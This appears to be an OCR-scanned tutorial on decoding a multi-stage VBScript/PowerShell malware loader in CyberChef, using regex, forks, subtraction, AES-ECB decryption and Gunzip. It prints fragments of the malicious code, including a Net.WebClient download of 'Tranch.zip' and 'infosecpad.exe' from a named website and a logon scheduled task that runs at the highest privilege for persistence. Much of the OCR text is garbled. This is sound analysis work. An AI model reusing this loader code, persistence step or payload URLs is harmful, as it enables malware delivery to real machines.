ALk Dim QbJ
.\w; - (\d+) (Zasp insensitive
o1m Ju
JuF = MAc(yAq)
D Multiline matching DDOt matches all If JuF = 7800 + 1204 Then

For Each Qbl In yAg
Dim RrB

RrB = RrB & Chr(Qbl - qqT)
Next

$R@ = 787

® mc 10588 = 34
The second step is to extract out the main decimal array using a regular expression and a capture group.

The capture group ensures that we are isolating the decimal values and ignoring any script content surrounding it.

This regex looks for decimals or commas [\d,] of length 1000 or more {1000,} . That are surrounded by
round brackets \( and \) .

The inner brackets without escapes form the capture group.
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User defined
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Q n

Regex

\(([\d,]{1000,1})\)

Case insensitive

AN

A and $ match at newlines

|:| Dot matches all D Unicode support D Astral support

D Display total

Qutput format
List capture groups

Next

e 10508 = 34

Output

819,832,856,907, 888, 886,004,903, 892,898, 897,867, 898,895, 892, 886,908,819, 872,897,869
886,903 ,888,887,819,870,903,884, 901,903, 832, 867,901,898, 886, 888, 992,902,819, 826,886
888,826,819,832,874,892,897, 887,898,906, 870,983, 908, 895, 888,819, 891,892, 887,887,888
890,904,896, 888,897,903, 863,892, 902,903, 819,910, 834,886, 819,899, 898,906, 888, 901,902
888,907,888,819,823, 855,900,907, 885,819, 848,819, 826,852,852, 852,852,852,852,852,852
852,852,852,852,852,852,852, 852, 866, 870, 861,886, 860, 853,898,905, 865,905, 842,840, 864
901,908,891,895,901,906, 894,884, 861,837, 877,899, 860, 844, 844, 869,841,898, 869,838,839
852,892,864,872,890,839,853,900, 875,902, 873,900, 853,908, 897,838, 859,866, 844, 864,906
870,863,860,853,858, 867,867,867, 875,830, 895,841, 873,867,906, 858,839,908, 877,858,899
899,855,844, 893,858, 860,830,837, B64, 866, 866,892, 906,889, 889,893, 897,839, 844,844, 852
909,904,860, 891,852, 889,874, 864,907,888, 865, 895, 864,854, 856,863, 855,841,852, 852,899
864,806,899,837,874,897,003,866, 860,909, 875,876, 871,900, 908,877,899, 843,902, 837,874
902,899, 887,864,869, 842,880,884, 860,884, 804,876, 887,875, 875,899, 843,857,893 ,854,889
852,856,830,874,863,898,009,857,902,900, 904, 854, 884,860, 854, 891,885,837, 838,841,886
862,863,909,897,840, 844,904,842, 864,860, 888, 836, 897,899, 890, 890, 854,895, 887,909,872
899_875.854.905.862 . 860.853 872 .877.896.907.903. 873 . 8R4 8R6. 835865 . 894 . 901 876 857

Operation 3 - Separating the Decimal Values

The third operation leverages a Fork to separate the decimal values and act on each of them independently.

The Fork defines a delimiter at the commas present in the original code, and specifies a Merge Delimiter of

to improve readability.

|:] Display total

Fork

Split delimiter

»

Find / Replace

Merge delimiter

\n

Output format
List capture groups

|:| Ignore errors

mec 18588

||‘
w
S

Output

Qn 819
832
856
907
888
886
994
903

O n

Operation 4 - Appending the Subtraction Value

The fourth operation uses a regex find/replace to append the 787 value to the end of each line created by the

forking operation.

\n

Note that we have used (.*) to capture the original decimal value, and have then used $1 to access it again.

The $RO is used to access the register that can created in Operation 1.
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2L AT LS VIS YT WS LT —— = -

B \n |:| Ignore errors
Output

Find / Replace QO n 819 787
832 787

Find Replace 7
(.%) REGRXT 81 $Ro o07 757
888 787
886 787
904 787
903 787
892 787
Multiline matching |:| Dot matches all 808 787

897 787

AFs A

D Global match D Case insensitive

Operation 5 - Subtracting the Values
We can now perform the subtraction operation after appending the 787 value in Operation 4.
This produces the original ASCII char codes that form the second stage script.

Note that we have specified a space delimiter, as this is what separates our decimal values from our subtraction

values in operation 4.

REC 1WOVE = 34

Multiline matching D Dot matches all
Output

32
45
69
120
101
99
From Decimal o n 117
116

Delimite — : 105
Space [_] support signed values 111

Subtract Q

Delimiter

Space

Operation 6 - Decoding ASCII Code In CyberChef

We can now decode the ASCII codes using a "From Decimal" operation.

This produces the original script. However, the values are separated via a newline due to our previous Fork

operation.
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g

From Decimal Q N |
Delimiter .
Space |:| Support signed values

Merge Q n

Merge All

OS5 O M+ C O M X mM

Operation 7 - Merging the Result

‘We now want to act on the new script in it's entirety, we do not want to act on each character independently.

Hence, we will undo our forking operation by applying a Merge Operation and modifying the "Merge Delimiter"

of our previous fork to an empty space.

Fork Q

Split delimiter o
» Merae delimit... [_]ignore errors
- mec 10508 = 34
Delimiter
Space D Support signed values
Output
Merge Q N -ExecutionPolicy UnRestricted Start-Process 'cmc

powershell.exe $Dzxb =
" AAAAAAAAAAAAAAAAAAAAADS ] cRBovNV7SMENPRQryhlrwka:
Merge All VPwGAyZGppZHYPpD9jGI+2M00iwffind99AN2 tuTzuThAFWM
dXXp8F jCfqYobpAE+WLozFsquCaIChb236ce6g9@KLzn59u7h
kKOx/33iXYEImXLHICFV+6cEIX7I12CmIjySbWEsnxfmeFnXzL
Register O n PWFujrtq5p6U6IqG3xMCAW2uI4AFKmTp3TzgeAf8rloSbi3vol
/2F822xR+TCQyrTCItfM+xKVV7pzwsFSQf8prX60+3Rt jXQLL
Case insensitive /7A007bMWQgZDIEVLYPIWYOV7 fueeOei3Q+dPcMXcPaqSBFn(
o S /b3gLdIcmfbWDTYTabVIQxXe+2v@121UMIhXG7EN7 LrYFi3mE
/H2QtuHsfFk4mH5xI0+Xh7mCUaBEDxbjlyci2XdmQEgKk3Bhc

"([a-zA-Z0-9\=\+\/]{44})"

Stage 2 - Powershell Script With AES Encryption (8 Operations)

After 7 operations, we have now uncovered a 2nd stage Powershell script that utilises AES Encryption to unravel

an additional stage.

The key points in this script that are needed for decrypting are highlighted below.
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Encoded Content

$Dzxb = 'AAAAA/ \AAA JcR hlp

$sUcUPxU / 1vdFNid | a AES Key
m. ~ity.( ) d';

$GDIXGNY = New-Object

$GDIXGNY.Mode = [System.Security.Cryptography.CipherMode]: :[ECB; AES Mode

$GDIXGNY .Padding = [S 1 i Cryptogr ingMode]: :Zeros;
$GDIXGNY.BlockSize

$GDIXGNY .KeySize =

$GDIXGNY.Key = [ M. ( ert]::FromBase64String($sUcUPxU);

$KPWOZ = [System.Convert]::FromBase64String($Dzxb);

$LdCzhhCP = $KPWOZ[@..15]; AEZ DY
$GDIXGNY.IV = $LdCzhhCP;

To Decode this stage, we must be able to

e Use Registers to Extract the AES Key

e Use Regex to extract the Base64 blob

e Decode the Base64 blob

e Use Registers to extract an Initialization Vector

e Remove the IV from the output

e Perform the AES Decryption, referencing our registers
e Use Regex to Remove Trailing NullBytes

e Perform a GZIP Decompression to unlock stage 3
We must now extract the AES Key and store it using a Register operation.

We can do this by applying a Register and creating a regex for base64 characters that are exactly 44 characters in

length and surrounded by single quotes. (We could also adjust this to be a range from 42 to 46)

We now have the AES key stored inside of the $R1 specifying register.

RrB = RrB & Chr(QbJ - gqT)

Register Next
mc 10508 = 34
"([a-zA-Z0-9\=\+\/]{44})" Case insensitive
Output
LA LR § 1 U A T W UL L 1S E LTS A 8§ L SRILIC LAY LU € L
[:] Multiline matching [:] Dot matches all fH2QtuHsFFkAmH5x I0+Xh7mCUaBEDxbjlyci2XdmQEgKk3BhoSM6rzxul BEMTitUeRA

SHE1y8Qt53a7@Hha+ia6fnVMmecQHLhOboPs1AFTFCCrCvlwxYtLRNorscF /TXjcSG/
/xiTE9HDWoZI1Z1Q0dqGex/XGIymHhOh8rSToxddgtaA6s,/JaTfXcBacVaLtkZgilSXs
/P78BOqIUNFYPr2g6siRglouVyOrtj+AatvS1wTGF +tN@dTenFh2bdLxUaS72kZPrs5
= H i DEF1M=";$sUcUPxU =

® 'dvdqd2RRTn1FbWlvdFNidFR3eEViQX1qQ@13a2IWQ3M=";FGDIXGNY = New-Objec
"System.Security.Cryptography.AesManaged' ; $GDIXGNY.Mode =
[System.Security.Cryptography.CipherMode]: :ECB; $GDIXGNY.Padding =
[System.Security.Cryptography.PaddingMode]: : Zeros ; $GDIXGNY.BlockSiz
256; $GDIXGNY .Key = [System.Convert]::FromBase64String($sUcUPxU);$KP
[System.Convert]: :FromBase64String($Dzxb);$LdCzhhCP = $KPw0Z[@..15]
= $GDIXGNY.CreateDecryptor();$EcXHdQkBU = $wgkPgQHMD.TransformFinal

1AV - ENTYEMY NS cnncal V-2 1YREDV - Maw_Nhiact Cuctam TA Mamam CHraami

$R1 = dVdqd2RRTn1FbW1vdFNidFR3eEViQX1qQ@13a2IWQ3M=

Now that we have the AES key, we can isolate the primary base64 blob that contains the next stage of the

Malware.

We can do this with a regular expression for Base64 text that is 100 or more characters in length.
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We're also making sure to change the output format to "List Matches", as we only want the text that matches our

regular expression.

RrB = RrB & Chr(Qb) - gqT)

Regular expression I Hext .
. - 10308 = 3 - Tr ha tytes o LF
User defined .
Qutput a rD m e

[a-zA-Z0-9\=\+/]{1€0, ) ARAMAARAAAAAAAAAAARADS Tc RBoviy 7SHENPROry hl rwkal 22p199R60R 340RB2 TA MURABaXsVaBynHOMWRrSUISLIBGPPRX+ 16VPWG

Ay ZGppZHYPPDI JGI+ 2M000wFf jna99aN2 tuT zuThAFWMxeNIMCE LDEAApUATQKMmP2WNt 0T 2ZXY Tqy Zp8s ZWq I T8Hs pdMR7 Falak Y dXXpEF j
CfqYobpAE+WLozF squCalChbl 36ce6g90KL zn59uTMlelnpggCldzUfPs6SpXCVKIBUZmxt VacBNkrYFGASVF gDOVZdMbHGYrkKx/ 31Xy
/4 EJmXLHICFV+6cEIXT12CmI jySbWE snx fmeF nXzuz S sWMosU4PD+bHMGDRnardABF ++L piawRe 7 1CAhHGehCESZOEPad i EHOPWF ujrtqSpeUs

IgG3xMCANZUTAFKmTp3TzgeAf8rloSbi3vOT8vHBF 58dg0el CImHt zAW3MjLXhZ cvk+freod]i7ItH1k7pgjWgadQ
J2FB22xR+TCQyrTCTEF M XKW pzws FSQFBpri6a+ 3Rt FX0LDdgdzdve 2VAW2 ImS 2F

B case insensitive * and § match at newlines J 70007 bMNQEZDIEUYPTWYOVT fueeOe i 30s dPeMXc PaqSBF NOVOULZ 2dINL 2P1¥d 1m3X80Qip
/b3gLdTcmfbWDTYTa6VIQxX e+ 2vB]12 1UMFhXGTENT LrYF i 3aBKL pelige 2gDm7vI i XqHdt 1 tVBnw30nz KEYGGIrTTSTHIE3NgqUavX
SH2QtuHS FF kamH5x 10+ Xh7mCUaBEDxb j1yc i 2XdmQEgKk3BhoSMer 2 xul BEMT i tUeRAAFqed FOF figyd ImSmKBADWKYF JWH7p9LX2Mb2ASHE

D Dot matches all D Unicode support D Astral support 1y8Qt53a78Hha+iabfnVMme cQHLhOboPs 1AFTHCCrCviwxYt LRNorscF / TX oSG/ dgCij UBBuBF xexU 1 CEHL 1AdxUCmm T SYvZNbX f

SHATEIHDWOZIZ 1QRdqGex/XGIymHhOh8rSToxd4gtanes/ JaTfXcBacVeL tkZgi 15XsachBUx+zz0m
J /PTEBBGIUNFYPr2q6s iRgIOUNYOrt j+AatyS IWTGF +tNBd TenFh2bdLxUas 72k ZPrs SINM1 FhhBUdr+WxPHC zBERpb7HF3yboN

/547t zulbz 1KQWaK2gLASGA TLGC+y011] W IHXBE 1 velsyUr DGF 1M

[ pisplay tota I List matches

Operation 10 - Decoding The Base64
This is a straightforward operation to decode the Base64 blob prior to the main AES Decryption.

From Base64 Output B0Om::

Eeiii ez e juboiie

S@9hwLh eRYWB[N
igejFu]z] 00 E® gha)-éCoeV
weisLebBe BF\ A U-6A 26

ex®" IR X[ESUIGY: " - keaR | NaOT
WAOIRY5D, 7 wefes_[FFKasinai?
VHCbilkds iT28W0 44 120 J
i, *D18Qa@a0 40"
EdraP) | 18/ d0x-iibLOG®

A-Za-20-9+/

e non-alphabet chars D Strict mode

Rema

Box /- s iAdkis élli2g
xolleéfEiTxsheWBios"

(%

= FanFsieD"zAsRBH AN 2R7G5S

The first 16 bytes of the current data form the initialization vector for the AES decryption.

We can extract this using another Register operation and specifying .{16} to grab the first 16 characters from

the current blob of data.

output (O B0 m::

Register
s T T

gllsXa sFedni®s P EoBY o2 o bahe o

SRENB{
. WXEINES Nak-éCR0T

({16} Case insensitive g e iV 6
b Bp1AsFya [E®025¥:" | -Ahe [ ke AR N0
Deadnk EJdied 7% eCyeom piOif50, 7" w=/
[ Multiline matching [J Dot matches all La0gwI6-aOeueu

iAok nm Fo'ut [\ nseVeh
FsaqlsvidsMendg
i Js RGN KOEE  + o nibic9? » 500
H™AS2R%GNS

MR« XvmORQHsIF0® E 14T e o 5% oARAT S WYKC | +6Bihes . sGeblhat, s

We know that these bytes are the IV due to this code in the original script.

Note how the first 16 bytes are taken after base64 decoding, and then this is set to the IV.

$KPWOZ = [S! ]::FromBase64Strin ($szb);|
$LdCzhhCP = $KPwOZ[@..15];

$GDIXGNY.IV = $LdCzhhCP;

IV is set to first 16 bytes

Operation 12 - Dropping the Initial 16 Bytes
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The initial 16 bytes are ignored when the actual AES decryption process takes place.

Hence, we need to remove them by using a drop bytes operation with a length of 16 ,.

Output
Drop bytes
deqhK0UEEM="+ E“KAF sUsH:02 j 590" vL s R%%0{ " " §UsX%3KIBR, s F<Sxii"e 2 Ee@¥ P>
. enat : %) 10D FRDi [Bexa: e, je0RIY0% 50 JF5 ]2 | 4000 Hu3X2INES  ¢haki-EC00Y
0 : 16 < D Apply to each line

JOuBillig) v e0 |z Do A% Qe +puVeDl+ Q 1Q %EGLACH s+l «bBe BF\H&%U~EA 26
b#E+0'Efimges | 114526281 As Fyat iidés " { 1B L2 T }EX[E2016Y: " - AAe [}
S SMOEEA\KDw 2848 E " }die#Z%e CyeomEGEACT 0% e_31TURE] | HOOLIRYSD, 7" w=/ee_[

9& - CcOpAl=2+Y¥T ;0 gwI6-+Deusuiij*Ey5a-0%+50%6"kYHC\blkds i T28W 520" -2 ¢ 6y

5 ©00_fioBlstiidaalAsX @ Folia[s\sseVels *MAsssilkii D18+Qa@a0 adA~" &of (WA
@rade s IPNB s ~+3AN- -ShOC Ry 5aq | ¢vid «MenAq{ % AEGP) | 1&/d0x +iibLOGS 3% !+ PROS(
+%1iE|S%31&°0piin) sRgX>%2EE o« et ? o § Olx A% EMAOR » XumDAQH» UFOR I 14T c o v g o
FanFsieO"zAendH A%2R04%S

We know this is the case because the script begins the decryption from an offset of 16 from the data.

$wgkPgQHMD = $GDIXGNY.CreateDecryptor();

$EcXHdQkBU $wqkPqQHMD. TransformFinalBlock ($KPwOZ, 16, $KPwOZ.Length - 16);

This can be confirmed with the official documentation for TransformFinalBlock.

™ Copy

[1 TransformFinalBlock ( [1 inputBuffer, inputOffset,
inputCount);

Operation 13 - AES Decryption

Now that the Key and IV for the AES Decryption have been extracted and stored in registers, we can go ahead and
apply an AES Decrypt operation.

Note how we can access our key and IV via the $R1 and $R2 registers that were previously created. We do not

need to specify a key here.

Also note that we do need to specify base64 and utf8 for the key and IV, respectively, as these were

their formats at the time when we extracted them

Output A

AES Decrypt
ot i TmeU8%p+0* O pA%E " o tpES 255" : OVERTL " s eiitine’
BASER] - R | 15[ GPAB FGSU¥0s 2%« APY j§DH# JW Co 15 o Als o =022 Pb-x"pedl
$R1 e $R2 e "8t |HY%te(sR=e00 | st o4 RO - EH- EnpTotiel R™3D4SUVIXQ;
AbeXn 1R] "EY At ~e  axnBe&:[KnFIVi<Eales OnA%iS3k
Mode nput Output {iaMemi } «Uma0ije « - s NCRu¥pKe =dxx o *K | §5(12% Qe IC%="fibkbs | g
ECB Raw Raw 6Xe eRENOX: ", Do | % “inen0}20@y*Q/ GAUMAGH ge «®2BNDE"s « QI
©g®PChVE « - ¥k§i%0IPKIO « COUNHUSI e %15 {i&F - GUTK  #%0YS2g)

) WO [ofimx  ejee3ha@nSu0]See7u¢FylU¥Yit «%~Qi35¢ 00"

25h002] 40164 0%«2TOAY [+iwd2&u "pledbd(Fs |z, «&G10=TSTI2

We can also note that ECB mode was chosen, as this is the mode specified in the script.
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$GDIXGNY = New-Object em.Security.C

$GDIXGNY .Mode = [S
$GDIXGNY .Padding =
$GDIXGNY.BlockSize
4GDIXGNY . KeySize

Operation 14 - Removing Trailing Null Bytes

The current data after AES Decryption is compressed using GZIP.

However, Gunzip fails to execute due to some random null bytes that are present at the end of the data after AES

Decryption.

©g®PCbVE « - %k§1%0IP%LI0 « COU NI 4152 (I&F - SUTK #%OYS2g700 # GwS s 0+& ¢ 50T o YEUY2 o ¥ g 4% 00" UP g «A™] ' lis emA: ¢8EG/ v e
WO [efimx sjee3e@nS=0]SeE7udFylYYit «%-Qf35¢ 00~

01G6%0%«2TEAY [+1wo38u plede0¢CFe |z o EGINeTTI%- « TU-End[*}, $Pmu* 000 eH%E%+7 } kkile LE# ER) =% e e00%

Operation 14 involves removing these trailing null bytes using a Regular expression for "one or more null bytes
\0+ at the end of the data $"

We will leave the "Replace" value empty as we want to remove the trailing null bytes.

Find / Replace wec

Find X o]

o E~EY w ) o N
\0+$ REGEX Replace
Global match D Case insensitive g4

Multiline matching |:| Dot matches all X3

Operation 15 - GZIP Decompression

We can now apply a Gunzip operation to perform the GZIP Decompression.

This will reveal stage 3 of the malicious content, which is another Powershell script.
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Output

Multiline matching D Dot matches all

fFunction QtR(3kBv, $LMY){[I0.File]::WrifeAllBytes($kBv, $LMY)};func
($kBv.EndsWith('.zip') -eq $True){$fwefl= "\' + (Get-Ttem $kBv).Bas
$MeT $fwef;Expand-Archive -Path $kBv -DpstinationPath $fghrth; $Scr
($ghyth -eq 1){mv -Path $kBv -Destinatipn $fghrth; $kBv = Join-Path
(New-ScheduledTaskAction -Execute $kBv)E$Trigger = New-ScheduledTas
® ScheduledTask -TaskName “"BackgroundCheck" -Action $Action -Trigger :
-Force;Start $kBv}};function WTk($Wxf){$PSt = New-Object (wva

@(4352,4375,4390,4320,4361,4375,4372,4341,4382,4379,4375,4384,4390)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocol
$PSt .DownloadData($Wxf) ;return $LMY); function wva($RSx){$SHY=4274;%
$RSx){$Ivo+=[char] ($dnH-$SHY) };return $Ivo};function tRx(){$MeT = $
$env:AppData; $0MbNkOp = $aFMWmHEZ + '\';If(Test-Path -Path $0MbNkOp

Gunzip

Note that we know Gzip was used as it is referenced in stage 2 after the AES Decryption process.

$GDIXGNY.Dispose();
$1XDSPY = New-Object System.IO.MemoryStream( , $EcXHdQkBU );
$dYmjzG = New-Object System.IO.MemoryStream;

$PcRmtDxrk = New-Object System.IO.Compression.GzipStream $1XDSPY,
$1XDSPY.Close();

:[]] $EyqGSe = $dYmjzG.ToArray();$pQiMRyM = [Sy:

Stage 3 - Powershell Script (7 Operations)
We now have a stage 3 PowerShell script that leverages a very similar technique to stage 1.
The obfuscated data is again stored in large decimal arrays, with the number 4274 subtracted from each value.

Note that in this case, there are 4 total arrays of integers.

if ($ghyth -eq 1){mv -Path $kBv -Destination $fghrth;
$kBv = Join-Path $fghrth infosecpad.exe};

$Action = (New-ScheduledTaskAction -Execute $kBv);
$Trigger = New-ScheduledTaskTrigger -AtLogOn;
Register-ScheduledTask -TaskName | -Action $Action -Trigger $Trigger -R
Start $kBv}};
WTk ($Wxf){$PSt = New-Object (wva 2,4375,4390,4320,4361,4375,4372,4341,438
[Net.Servicef tManager]::SecurityProtocol Net.SecurityProtocolType]::TLS12;
$LMY = $PSt.DownloadData($wWxf);

"N $LMY}S Large Decimal Values and subtraction

wva($RSx) {$SHY=4274;9Ivo=%Null; operation
($dnH in $RSx){$Ivo+= $dnH-$SHY) };

$mBZZ = $MeT + 'Tranch.zip';
if (Test-Path -Path $mBZZ){sri $mBZZ;

}JElse{ $uHSpZ = WTk (wva
QtR $mBZZ $uHSpZ;
sri $mBZZ;
}$polF = $MeT + 'in

if (Test-Path -Path $polF){sri $polF;

( $szHmMT = WTk (wva @(4378,4390,4390,4386,4389,4332,4321,4321,4388,4371,4375,4381,

QtR $polF $szHmT;
sri $polF;

To Decode stage 3, we must perform the following actions
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e Use Registers to Extract The Subtraction Value

e Use Regex to extract the decimal arrays

e Use Forking to Separate the arrays

e Use another Fork to Separate the individual decimal values
e Use a find/replace to append the subtraction value

e Perform the Subtraction

o Restore the text from the resulting ASCII codes
Our first step of stage 3 is to extract the subtraction value and store it inside a register.

We can do this by creating another register and implementing a regular expression to capture the value
$SHY=4274 . We can specify a dollar sign, followed by characters, followed by equals, followed by integers,

followed by a semicolon.

Apply a capture group (round brackets) to the decimal component, as we want to store and use this later.

Register Q

Extractor

\$\w+=(\d+); Case insensitive

|:| Multiline matching Dot matches all

$R3 = 4274

Gunzip S n

Output B

ffunction QtR{$kBv, $LMY){[IO.File]: :WriteAllBytes{$kBv, $LMY)};function sri($kBv){if

Extractor ($kBv.EndsWith('.zip') -eq $True){$fwef = "\ + (Get-Ttem $kBv).Basename; $Script:fghrth = Joi
\$hw=(\d+); 2 case insensitive $MeT $fwef;Expand-Archive -Path $kBv -DestinationPath $fghrth; $Script:ghyth = 1; del $kBvlels
($ghyth -eq 1){mv -Path $kBv -Destination ¢fghrth; $kBv = Join-Path $fghrth infosecpad.exe};$A
(New-ScheduledTaskAction -Execute §kBv);§Trigger = New-ScheduledTaskTrigger -AtLogOn;Register-

Register @ n

DMuIlilinc matching DDotmnt(hcs all ScheduledTask -TaskMame “BackgroundCheck" -Action $Action -Trigger $Trigger -Runlevel “Highest
-Force;Start $kBv}};function WTk($Wxf){$P5t = New-Object (wva
$R3 = 4274 @(4352,4375,4390,4320,4361,4375,4372,4341,4382,4379,4375,4384,4390)) ;
[Net.ServicePointManager]: :SecurityProtocol = [Net.Sec acolType]::TLS12;$LMY =
$PSt. DownloadData($kixf) ; return $LMY}; function wva($RSx uu—wuu foreach($dnH in
i $RSx){$Ivoe=[char]($dnH-$5HY}};return $Ivo};function tRx()LMel = benv:AppData + '\';$aFMumHEZ
Registers to extract keys $env:AppData;$OMbNKOp = $aFMWmHEZ + '\';Tf(Test-Path -Path $OMbNKkOp){Invoke-Ttem $OMbNkOp;}Els

$oGleVy = WTk (wva @(4378.4390.4390,.4386.4389,4332,4321.4321)) :0tR $0MbNkOp $oGlaVy:Invoke-Ite
Operation 17 - Extracting and Isolating the Decimal Arrays
Now that we have the subtraction key, we can go ahead and use a regular expression to isolate the decimal arrays.

We have chosen a regex that looks for round brackets containing long sequences of integers and commas (at least

30). The inside of the brackets has been converted to a capture group by adding round brackets without escapes.

We have also selected List Capture Groups new line to list only the captured decimal values and commas.
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Dim RrB

Regular expression @ L RrB = RrB & Chr(Qbl - qqT)
- Next
User d - 10508 = 34 T
Riscpex Output g r[
AN, 1{30, 1)\)
4352,4375,4399,4320,4361,4375,4372,4341,4382, 4379, 4375, 4384, 4390
4378,43906,4390,4386,4389,4332,4321 4321
# 4378,4390,4399,4386,4389,4332,4321,4321,4388, 4371, 4375, 4381, 4375, 4389, 4389, 4382, 4375, 4388, 4320,
83,4321,4393,4386,4319,4373,4385, 4384, 4390, 4375, 4384, 4390, 4321, 4391, 4386, 4382, 4385, 4371, 4374, 43
Conaineaneios andlS mateh St newiines ,4322,4324,4325,4321,4322,4326,4321,4358, 4388, 4371,4384, 4373, 4378, 4320, 4396, 4379, 4386

4378,4390,4399,4386,4389,4332 ,4321,4321,4388,4371,4375,4381,4375,4389,4389,4382,4375,4388 4320,
83,4321,4393,4386,4319,4373,4385,4384,4396,4375,4384,4390,4321,4391,4386,4382,4385,4371,4374,43

Eloctier e ol Elunck sirmo (5] ze) st ,4322,4324,4325,4321,4322,4326,4321,4379, 4384, 4376, 4385, 4389, 4375, 4373, 4386, 4371, 4374, 4320, 4375

(O pisplay total List capture aroups

Operation 18 - Separating the Arrays With Forking
We can now separate the decimal arrays by applying a fork operation.
The current arrays are separated by a new line, so we can specify this as our split delimiter.

In the interests of readability, we can specify our merge delimiter as a double newline. The double newline does

nothing except make the output easier to read.

Fork Q

Split delimiter Merage delimiter

\n \n\n |:| Ignore errors

- 0508 = 34 Tr R Bytes € LF

Fork S n
Output a rD = 1
Spit delimite Merge debriter
At \min DlgnDrE (GI12E 4352,4375,4399,4320,4361,4375,4372,4341,4382,4379,4375,4384, 4399
4378,4398,4390,4386,4389,4332,4321,431
Fork Qn

4378,4390,4390,4386,4389,4332,4321,4321,4388,4371,4375,4381,4375, 4389, 4380, 4382, 4375, 4388, 4320, 4373, 4385, 43
/_l e errors 83,4321,4393,4386,4319,4373,4385,4384,4390,4375,4384,4390,4321 4391 ,4386,4382 ,4385,4371,4374,4389,4321,4324
,4322,4324,4325,4321,4322,4326,4321,4358, 4388, 4371,4384,4373,4378, 4320, 4396, 4379, 4386

4378,4390,4390,4386,4389,4332,4321,4321,4388,4371,4375,4381,4375 ,4389 ,4389,4382 ,4375,4388,4320,4273,4385,43
83,4321,4393,4386,4319,4373,4385,4384,4390,4375,4384,4390,4321,4391,4386,4382 ,4385,4371,4374,4389,4321 4324
,4322,4324,4325,4321,4322,4326,4321,4379,4384,4376,4385,4389,4375,4373 ,4386,4371,4374,4320,4375,4394,4375

Find / Replace @n

Operation 19 - Separating the Decimal Values With another Fork

Now that we've isolated the arrays, we need to isolate the individual integer values so that we can append the

subtraction value.

We can do this with another Fork operation, specifying a comma delimiter (as this is what separates our decimal

values) and a merge delimiter of newline. Again, this new line does nothing but improve readability.
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- 10508 = 34 o Tr Raw Bytes 4 LF
Fork @n
Output o0& ¢
Solit delimites Merge delimiter
\n \n\n [O1gnore errors T ~
4375
- 4390
Fork ®n 4328
Soiit delimites Merge defimiter e
§ ‘ W Ognore errors 4378
4372
4341
Find / Replace [ Pty
4379
4375
- 1 $R 4384 '\
4390 ]
Arrays are separated by double newline
[C] Global matct [ case insensitive v 4378
- 0 4390 {
STEP EAKES ttnkba | snr v

Operation 20 - Appending Subtraction Values

With the decimal values isolated, we can use a previous technique to capture each line and append the subtraction

key currently stored in $R3 .

We can see the subtraction key appended to each line containing a decimal value.

mec 10508 = 34
Find / Replace Qn
Output
Find Replace
(.*) HEGEXT $1 $R3 k352 4274
4375 4274
. 4390 4274
|:| Global match |:| Case insensitive 4320 4274
4361 4274
4375 4274
Multiline matching D Dot matches all 4372 4274
4341 4274
4382 4274
Subtract Q n 4379 4274
4375 4274
Delimite 4384 4274
>pace 4390 4274

Operation 21 - Applying the Subtraction Operation

We can now apply a subtract operation to subtract the value appended in the previous step.

This restores the original ASCII char codes so we can decode them in the next step.

|:| Global match |:| Case insensitive Output
78

101
116

a6 ASCII codes

87
Subtract QO n 101 restored.
98
67
108
105
From Decimal o n lei
110

Delimite _ 116
Space D Support signed values

Multiline matching |:| Dot matches all

Delimiter
Space
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Operation 22 - Decoding the ASCII Codes

With the ASCII codes restored in their original decimal form, we can apply a from decimal operation to restore the

original text.

We can see the Net.Webclient string, albeit it is spaced out over newlines due to our forking operation.

|:| Global match |:| Case insensitive Output
N
Multiline matching D Dot matches all :
W
Subtract Q n .
Delimiter b
Space i
i
From Decimal Q1 e
n
Delimiter t

Space D Support signed values

¥ h
t

STEP ¥ BAKE! o,

Now that the content is decoded, we can remove the readability step we added in Operation 19.

+

That is, we can remove the Merge Delimiter that was added to improve the readability of steps 20 and 21.

Fork Q I

Split delimiter N
Merge delimit... | "] ignore errors

2

With the Merge Delimiter removed, The output of the four decimal arrays will now be displayed.

For Each Qb] In yAq

Find / Replace o n Dim RrB
RrB = RrB & Chr(Qbl - qqT)
Find Repl:
(%) REGEX = 41 $R3 _ INext
: mc 18508 = 34
D Global match D Case insensitive Output
Net.WebClient
Multiline matching D Dot matches all https://
https://raekessler.com/wp-content /uploads/2823/84/Tranch. zi
Subtract Qn P wp P p
Delimiter https://raekessler.com/wp-content/uploads/2023/04/infosecpad.exe
Space
From Decimal e n
Delimiter
Space |:| Support signed values
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Video Walkthrough
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